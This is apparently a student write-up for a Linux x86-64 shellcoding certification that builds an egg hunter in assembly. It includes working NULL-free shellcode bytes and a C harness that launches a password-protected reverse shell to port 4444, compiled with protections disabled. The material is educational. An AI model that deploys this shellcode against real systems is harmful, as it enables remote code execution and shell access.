The objective of this assignment is to create an Egg Hunter Shellcode. For that is required to:
- Research and study about Egg Hunter Shellcode
- Create a working demo of the Egg Hunter
- The demo has to be easily configurable for different payloads
A must read paper, that came during the research, is Safely Searching Process Virtual Address Space from skape. It describes what a Egg Hunter is, the requirements for it to safely do it’s job, and ways to search in memory for that Egg.
When we want to exploit a buffer overflow vulnerability injecting shellcode to it, we can find out, that the space remaining in the buffer is too small to place our entire shellcode.
Here is when the Egg Hunter Technique comes in place: An Egg is placed at the begining of the shellcode that we want to execute in the victim, and inject it along with a shellcode defining the instructions to find that Egg in memory. Once the Egg is found, execution is passed to the shellcode, placed just after the Egg.
The Egg Hunter Shellcode will have to search in the Virtual Address Space for the Egg. As searching in the VAS is a dangerous process, an Egg Hunter Shellcode must have the following requirements:
- It must be robust. The Egg Hunter must be able to do searches anywhere in memory, also in invalid regions, without crashing
- Must be small as the Egg Hunter payload must fit into very small amount of memory. Considering it’s size is very important
- The Egg Hunter code must be fast to avoid iddle times during the search of the Egg in memory
In the paper, the autor mentions diferent techniques to search in memory using sys_access
. This is the solution that is going to be implemented here.
Some considerations to have in mind:
- With
sys_access
, instead of using a pathname to the function parameter, a memory address can be used to check if that memory position has been allocated. If it’s not allocated, the syscall will return anEFAULT
error code. If this is the case, there is no need to search on this memory address, as is not allocated for the process. The call requires two parameters: (1) Thepathname
, that's the memory position to check, and (2)mode
, that will beF_OK
just to check if the position is there.
int access (const char * pathname, int mode);
-
Memory positions are agrupated into pages. This makes the search in memory with
sys_access
shorter, as if the syscall tries to access a position of memory not allocated, the whole page where this memory position belongs to, won’t be accesible. Hence, only is needed to check one memory position for each memory page. -
To reduce false positives in the Egg search, Egg needs to be repeated twice. For example, a false positive could be the Egg Hunter shellcode finding itself as contains the Egg. For that, a 4 bytes Egg used twice is used.
All this said, the Egg Hunter Shellcode has to do the following:
- Check memory pages if they are accesible
- If the memory page is accessible, then search on each memory position of that page for the Egg
- If the Egg is found in memory, check next memory position if also has the Egg (2 consecutive memory positions)
- If both Eggs found, then jump to execute the shellcode that will be after the two Eggs
The summarized pseudocode will be:
while (remain memory pages to check){
if ( memory_page_is_accessible(first_memory_position_of_the_page) ) {
i = 0;
if (memory_position[i] == “EGG”) {
if (memory_position[i+1] == “EGG”) {
EGG_FOUND;
JMP_to_run(memory_position[i+2];
}
} else {
i++;
}
} else {
go_to_check_next_memory_page;
}
}
The memory page size is usually 4096 bytes (hex value of: 0x1000
). This value is required to know in the Egg Hunter how many memory positions to search for each page. To check this value, the following code in C will show the size of the pages:
#include <stdio.h>
#include <unistd.h>
void main(void)
{
int size = getpagesize();
printf("\nPage size on this system is %i bytes\n", size);
}
Following is taken into consideration during the implementation:
- The value for the Egg is "kaki". This can be easily changed in the code.
- RDX will point to the memory address to check:
- It's used to check each memory position of for a page in the search of the Egg in that page. It's value increments by "1" to check each memory position until it finds the Egg or reaches the end of the page.
- The register also can be used to reference the memory page. For that, the code makes RDX to point at the first byte of each page. This is done by OR'ing the RDX value with
0x1000
(page size). Result of the Or will always point to the first byte of the next page to check.- As the value
0x1000
will place NULLs in the codee for theor
instruction, the trick is to firstor rdx, 0x0FFF
(4095 in dec) and theninc rdx
. This gives same results but without NULLs.
- As the value
- RDI stores the memory position that is being checked plus 8 bytes, that is where the shellcode will be if the Egg is found in the RDX memory position. As the Egg is only 4 bytes, and per the comments before, the Egg has to be found twice, the total size of the Eggx2 is 8 bytes. After the Eggs, the shellcode starts.
sys_access
requires two parameters:- RDI: The memory position to check if its mapped to the process, and hence accesible by it
- RSI: Value will be
F_OK
- While a memory page mapped for the process is not found, a bucle will be incrementing the value of RDX by
0x1000
(page size) untilsys_access
finds that the page is accessible. From here, RDX is used to check each memory position in the page for the Egg. - Once the Egg is found, have to check the next 4 bytes to see if also they contain the Egg. If both Eggs been found, then the code jumps to memory position where the found shellcode is to run it. RDI is pointing to this memory position as per the explanation before. Also doing this, we can use any value for the Egg, not requiring it to be opcodes for real ASM instructions
The following code implements the Egg Hunter Shellcode. The code does not remove NULLs at this time, it will be done later.
global _start
section .text
EGG equ 'kaki'
_start:
xor rdx, rdx
next_mem_page:
or dx, 0xfff ; 0xfff == 4095. To jump next page
next_mem_position:
inc rdx ; Two uses:
; 1) Next memory position when checking memory positions into a page
; 2) Place pointer at the first byte of a memory page
lea rdi, [rdx + 8] ; Stores memory position after the "eggs"
mov rax, 0x15 ; Syscall number for access()
xor rsi, rsi
syscall ; Test if mem position is accessible
; RDI -> Address to check
; RSI -> 0
cmp rax, 0xf2 ; EFAULT?
jz next_mem_page ; Yes, then check next page
mov rax, EGG ; Page accessible, let's check if we find the egg
mov rdi, rdx ; Put in RDI the memory position to check if has the egg
scasd ; We compare. scasd increments RDI
jnz next_mem_position ; Not found the egg, jump to next memory position in the page
scasd ; Found 4 bytes of the egg, let's check if next 4 byte also have the egg
jnz next_mem_position ; Not found second egg, jump again to check next memory position
jmp rdi ; EGG found. Jump to execute it's shellcode.
; The RDI already pointing to the start of the shellcode due scasd increments
For the ASM code, it's time now to remove the NULLs and try to reduce it's shellcode size as much as possible. The process will be the same one done in previous assignments:
- Use
objdump -M intel -d EggHunter.o
to review NULLs and opcodes - Replace instructions with ones that do the same but that do not add NULLs
- Replace instructions, if possible, by ones using less bytes in the opcodes
- Hardcode the EGG value in the code
The code ends up like this. This time has not been reduced too much:
global _start
section .text
_start:
xor rdx, rdx ; Pointer to memory positions
next_mem_page:
or dx, 0xfff ; 0xfff == 4095. To jump next page
next_mem_position:
inc rdx ; Two uses:
; 1) Next memory position when checking memory positions into a page
; 2) Place pointer at the first byte of a memory page
lea rdi, [rdx + 8] ; Shellcode position
;mov rax, 0x15 ; Syscall number for access()
push 21
pop rax
xor rsi, rsi
syscall ; Test if memory position is accessible
; RDI -> Address to check
; RSI -> 0
cmp al, 0xf2 ; EFAULT?
jz next_mem_page ; Yes, then check next page
;mov rax, EGG ; Page accessible, let's check if we find the egg
push "kaki" ; This is the egg value. 4 bytes. Change here
pop rax
;mov rdi, rdx ; Put in RDI the memory position to check if has the egg
push rdx
pop rdi
scasd ; We compare. scasd increments RDI
jnz next_mem_position ; Not found the egg, jump to next memory position in the page
scasd ; Found 4 bytes of the egg, let's check if next 4 byte also have the egg
jnz next_mem_position ; Not found second egg, jump again to check next memory position
jmp rdi ; EGG found. Jump to execute it's shellcode.
; The RDI already pointing to the start of the shellcode due scasd increments
For the demo of the Egg Hunter Technique, the shellcode.c
template is used. Just some extra information is going to be printed this time:
- Length of the Egg Hunter Shellcode
- Length of the shellcode to find and execute
- Memory positions for both Shellcodes With this information, memory positions where the shellcodes are is known. This will be usefull in the next steps.
Now, the shellcode for the Egg Hunter is generated with one liner objdump
:
SLAE64> echo “\"$(objdump -d EggHunterV2.o | grep '[0-9a-f]:' |
cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\"""
"\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x08\x6a\x15\x58\x48\x31\xf6\x0f
\x05\x3c\xf2\x74\xe8\x68\x6b\x61\x6b\x69\x58\x52\x5f\xaf\x75\xe2\xaf\x75\xdf\xff\xe7"
SLAE64>
Also, the shellcode that is used is the one from the Assignment #2:
SLAE64> nasm -f elf64 ReverseShell-ExecveStack_V2.nasm -o ReverseShell-ExecveStack_V2.o
SLAE64> echo “\"$(objdump -d ReverseShell-ExecveStack_V2.o | grep '[0-9a-f]:' |
cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\"""
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66
\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21
\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20
\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31
\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f
\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"
SLAE64>
Both shellcodes are populated into the shellcode.c
template:
#include <stdio.h>
#include <string.h>
//#define EGG "\x90\x50\x90\x50"
#define EGG "kaki"
unsigned char egg_hunter[] = \
"\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x08\x6a\x15\x58"
"\x48\x31\xf6\x0f\x05\x3c\xf2\x74\xe8\x68\x6b\x61\x6b\x69\x58\x52\x5f\xaf"
"\x75\xe2\xaf\x75\xdf\xff\xe7";
unsigned char code[]= EGG EGG \
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01"
"\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f"
"\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49"
"\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05"
"\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37"
"\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05";
void main()
{
printf("ShellCode Lenght + Eggs: %d\n", strlen(code));
printf("Shellcode at position: %p\n", code);
printf("Egg Hunter ShellCode Size: %d\n", strlen(egg_hunter));
printf("Egg Hunter Shellcode at position: %p\n", egg_hunter);
int (*ret)() = (int(*)())egg_hunter;
ret();
}
When the program was compiled with the gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
command, and run, it will take too long to find the shellcode. This is because the Hunter code, will start from the 1st lower memory position, and the program will be far from there.
Just for the POC, we can compile with gcc forcing the .text sextion to be in low memory positions to make the find process easier. This is done with the following gcc options:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -Wl,-Ttext-segment,0x20000000
Once compiled with this options, the "egg" is found quickly. To test it, a netcat
listener on port 4444 is needed on one terminal, and in the other terminal, ./shellcode
is executed. Everything works great, spawning a shell:
If another shellcode has to be tested, just need to replace the shellcode in code[]
string in the shellcode.c
and compile.
In case that another Egg value has to be used, also needs to be replaced in the EGG
defined in the shellcode.c
and also in the ASM code where it is hardcoded (it's commented in the code).
The GitHub Repo for this assignment contains the following files:
- EggHunter.nasm : This is the ASM source code for the first version of the Egg Hunter. It's with NULLs and not caring on the shellcode size, but is more clear to understand the code.
- EggHunterV2.nasm : This is the NULL free code for the Egg Hunter.
- ReverseShell-ExecveStack_V2.nasm : This is the NULL free code for the Egg Hunter.
- shellcode.c : The C template with the V2 of the Egg Hunter Shellcode and ReverseShell Shellcode, ready to compile and execute
- pagesize.c : A C program that just prints the size of memory pages in the system
This pages have been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-14628